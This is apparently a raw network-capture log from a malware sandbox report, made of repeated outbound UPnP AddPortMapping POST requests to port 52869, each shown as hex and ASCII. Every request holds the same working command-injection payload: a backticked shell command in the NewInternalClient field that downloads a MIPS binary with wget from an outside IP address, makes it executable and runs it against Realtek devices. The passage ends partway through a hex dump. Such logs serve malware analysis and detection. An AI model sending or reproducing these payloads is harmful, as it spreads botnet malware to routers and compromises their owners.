                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:11.930423975 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:01.081096888 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      3192.168.2.155720645.207.137.20652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:26.860644102 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:28.475642920 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:30.363691092 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:34.299561977 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:41.979301929 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 